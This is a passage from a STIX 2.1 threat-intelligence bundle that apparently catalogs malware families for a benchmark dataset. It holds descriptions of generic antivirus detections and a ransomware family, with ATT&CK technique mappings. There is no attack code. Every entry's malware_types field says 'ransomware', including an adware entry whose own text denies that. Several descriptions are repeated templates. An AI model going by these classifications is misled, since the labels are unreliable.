      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericgb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94461234-d8fa-5775-9821-8eeba1e8d413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d8e9172-ce11-5dc0-8f3f-1a0d62dee01f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericgb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--650cf082-91b8-57d9-94a2-b43aaef9e3e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d8e9172-ce11-5dc0-8f3f-1a0d62dee01f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericgb exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aecc876d-5349-5246-b465-94ab59e87119",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d8e9172-ce11-5dc0-8f3f-1a0d62dee01f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericgb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50c64d97-0510-589d-95c9-8fad953dc25c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Generickdz",
      "description": "GenericKDZ (classified across endpoint antimalware engines under designations including Ransom:Win32/GenericKDZ, Trojan-Ransom.Win32.GenericKDZ, and Win32/GenericKDZ) is a destructive crypto-ransomware family designed for automated file locking on Windows endpoints. Delivered via malicious email links, compromised software installers, and drive-by download vectors, GenericKDZ verifies privilege elevation and immediately surveys mounted drive letters, network shares, and removable media. It targets user productivity files, databases, and backup archives with AES-256 encryption. Encrypted files are appended with unique identifier tags, and extortion instructions are placed in every directory instructing victims to contact the attackers via Tor or encrypted email. It deletes Volume Shadow Copies via vssadmin and disables recovery modes. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/GenericKDZ",
        "Trojan-Ransom.Win32.GenericKDZ",
        "Win32/GenericKDZ",
        "GenericKDZ Ransomware",
        "Ransom.GenericKDZ"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Generickdz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/generickdz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb59e198-1544-5f77-991f-abc68b41219d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50c64d97-0510-589d-95c9-8fad953dc25c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generickdz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58d78209-9155-52de-843a-59b9538bb1c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50c64d97-0510-589d-95c9-8fad953dc25c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generickdz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c044a95-64b8-52ee-ac30-6cd862e50c25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50c64d97-0510-589d-95c9-8fad953dc25c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generickdz exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--129577ff-09ed-5f8c-aea6-cbbcd4e60e58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50c64d97-0510-589d-95c9-8fad953dc25c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generickdz exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6020c36b-a886-5bd2-b8f6-66319543ae3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50c64d97-0510-589d-95c9-8fad953dc25c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Generickdz exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b3cbe770-9abe-5bfd-b770-7c3e35f24007",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxaa",
      "description": "Trojan:Win32/Genericrxaa is not a specific malware family, but rather a **Generic Heuristic Detection**. It indicates that an antivirus engine (often Microsoft Defender) has identified a file exhibiting highly suspicious, trojan-like behavior or containing code patterns commonly associated with malware, even if a specific signature for the threat does not yet exist. The 'rx' suffix often implies detection via dynamic analysis or emulation routines.<br><br><b>Understanding Generic Heuristic Detections</b><br>To an end-user, an alert for 'Genericrxaa' looks like any other virus warning. For a security analyst, a generic detection is a red flag that requires deeper investigation. It means the security tool caught *something* malicious, but it doesn't know its exact name or ultimate goal. This could be a brand-new zero-day threat, a heavily obfuscated variant of a known trojan, or simply a poorly written legitimate application exhibiting aggressive behavior (a false positive).<br><br><b>Execution and Suspicious Mechanics</b><br>Because it is a generic detection, the exact mechanics vary wildly. The file may have been flagged because it attempted to inject code into another process (`T1055`), tried to silently modify the Windows Registry to establish persistence (`T1547.001`), or exhibited packing/obfuscation techniques commonly used by malware (`T1027`). The execution vector could be anything from a malicious email attachment (`T1566.001`) to a drive-by download.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on what the underlying malware actually is (e.g., a ransomware dropper vs. a simple adware bundler). Host-based IoCs are the file itself and the specific behavior that triggered the heuristic engine (e.g., the specific API calls it made in memory). Network IoCs require observing the execution in a sandbox to see if it attempts to contact a Command and Control server. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxaa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxaa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--422b7c3d-ae41-5117-a291-5e8e46ed681c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3cbe770-9abe-5bfd-b770-7c3e35f24007",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaa exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed10b33e-cd56-5b8e-b0f9-63e97e9b9df9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3cbe770-9abe-5bfd-b770-7c3e35f24007",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaa exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64345633-9cf4-5808-97c3-6113e16c6f04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3cbe770-9abe-5bfd-b770-7c3e35f24007",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaa exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2efbf039-3d17-5b6b-83ed-e72efd879cf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxad",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxad\" (often displayed as Generic.RX.Adware) is a heuristic detection name utilized by various antivirus engines to flag files that exhibit behavioral characteristics or code structures strongly associated with Adware and Potentially Unwanted Programs (PUPs). The \"rx\" typically denotes a detection based on runtime behavior or advanced heuristics rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxad are almost exclusively encountered via software bundling. Users typically download \"free\" software from third-party aggregators, and the installer silently drops this adware payload in the background.\n\nUpon execution, software flagged with this heuristic typically performs the following unwanted actions:\n<ul>\n<li><strong>Browser Hijacking:</strong> The software attempts to install persistent Browser Helper Objects (BHOs) or malicious extensions to modify the default homepage, search engine, and new tab page to route traffic through affiliate-monetized portals.</li>\n<li><strong>Aggressive Ad Injection:</strong> It intercepts web traffic to inject pop-up ads, sliding banners, and in-text hyperlinks into legitimate websites, severely degrading the browsing experience.</li>\n<li><strong>Evasion Techniques:</strong> The reason it is detected \"generically\" is that the developers constantly repack and obfuscate the adware installer to evade static antivirus signatures, forcing security products to rely on behavioral detection rules (like identifying unauthorized registry modifications).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Genericrxad detections usually do not indicate the presence of destructive malware (like ransomware), they signify a significant threat to system stability, user productivity, and privacy. The constant ad injection consumes massive system resources, and the associated tracking modules violate user privacy.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Because this is a generic detection, standard AV might quarantine the installer but miss the deeply embedded registry keys. Utilize a reputable enterprise anti-malware solution specifically tuned for PUP/Adware removal for a full system sweep.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge any remaining malicious extensions or modified search preferences.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Generic.RX",
        "PUP.Generic",
        "Win32/Adware.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxad",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxad"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9d93dfc-510a-5938-89d4-7f40cf6be1d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efbf039-3d17-5b6b-83ed-e72efd879cf0",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxad exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc5a6541-bdbe-5d59-96d7-462f9643cba1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efbf039-3d17-5b6b-83ed-e72efd879cf0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxad exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--667be288-bee6-5f38-961d-2d953a5c129b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2efbf039-3d17-5b6b-83ed-e72efd879cf0",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxad exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe833644-0693-5c62-a247-660a655a0b6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxaf",
      "description": "Trojan:Win32/Genericrxaf is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxaf (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxaf usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxaf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxaf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98e6a62b-597f-5fc0-95bf-b527d259bd22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe833644-0693-5c62-a247-660a655a0b6c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaf exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6032061-8dac-5a41-a49d-268e687074ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe833644-0693-5c62-a247-660a655a0b6c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaf exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4823f82-dcba-5f1a-89a3-692a7e65fc53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe833644-0693-5c62-a247-660a655a0b6c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83db8373-ee6c-596e-865e-e8fe27c3a778",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxal",
      "description": "Trojan:Win32/Genericrxal is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxal (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxal usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d49c0f1f-6f6e-5d2a-8cbe-092f69788da3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83db8373-ee6c-596e-865e-e8fe27c3a778",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxal exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59b78c8d-86d7-5e26-92bf-bf8346221246",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83db8373-ee6c-596e-865e-e8fe27c3a778",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxal exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dd35882-93f3-5a70-9442-2c8dd9e56abf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83db8373-ee6c-596e-865e-e8fe27c3a778",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ddbd4ab3-b445-579f-b201-0995c8503dae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxam",
      "description": "Trojan:Win32/Genericrxam is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxam</b><br>To an end-user, a Genericrxam infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxam is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxam is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxam frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxam reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b70495dc-e90c-560b-b1e8-2e49952b40b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddbd4ab3-b445-579f-b201-0995c8503dae",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da87eee0-bc0b-511d-a849-d804d596b31e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddbd4ab3-b445-579f-b201-0995c8503dae",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04c99070-5ad0-5556-83e0-302627615969",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddbd4ab3-b445-579f-b201-0995c8503dae",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4bcb76e-a062-5e9e-b4d7-a9bb307b5af6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddbd4ab3-b445-579f-b201-0995c8503dae",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01bb3b53-1227-5b1b-9809-cbaa3279b6e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddbd4ab3-b445-579f-b201-0995c8503dae",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c0897d3-9796-5445-a928-b331cf74c5f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxaq",
      "description": "Trojan:Win32/Genericrxaq is not a specific malware family, but rather a **Generic Heuristic Detection**. It indicates that an antivirus engine (often Microsoft Defender) has identified a file exhibiting highly suspicious, trojan-like behavior or containing code patterns commonly associated with malware, even if a specific signature for the threat does not yet exist. The 'rx' suffix often implies detection via dynamic analysis or emulation routines.<br><br><b>Understanding Generic Heuristic Detections</b><br>To an end-user, an alert for 'Genericrxaq' looks like any other virus warning. For a security analyst, a generic detection is a red flag that requires deeper investigation. It means the security tool caught *something* malicious, but it doesn't know its exact name or ultimate goal. This could be a brand-new zero-day threat, a heavily obfuscated variant of a known trojan, or simply a poorly written legitimate application exhibiting aggressive behavior (a false positive).<br><br><b>Execution and Suspicious Mechanics</b><br>Because it is a generic detection, the exact mechanics vary wildly. The file may have been flagged because it attempted to inject code into another process (`T1055`), tried to silently modify the Windows Registry to establish persistence (`T1547.001`), or exhibited packing/obfuscation techniques commonly used by malware (`T1027`). The execution vector could be anything from a malicious email attachment (`T1566.001`) to a drive-by download.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on what the underlying malware actually is (e.g., a ransomware dropper vs. a simple adware bundler). Host-based IoCs are the file itself and the specific behavior that triggered the heuristic engine (e.g., the specific API calls it made in memory). Network IoCs require observing the execution in a sandbox to see if it attempts to contact a Command and Control server. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxaq",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxaq"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e53f069-8e40-5936-babd-1a503e85be82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c0897d3-9796-5445-a928-b331cf74c5f1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxaq exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e443330-f0c0-5526-b4f3-356160ee79a7",
      "created": "2026-01-01T00:00:00.000Z",
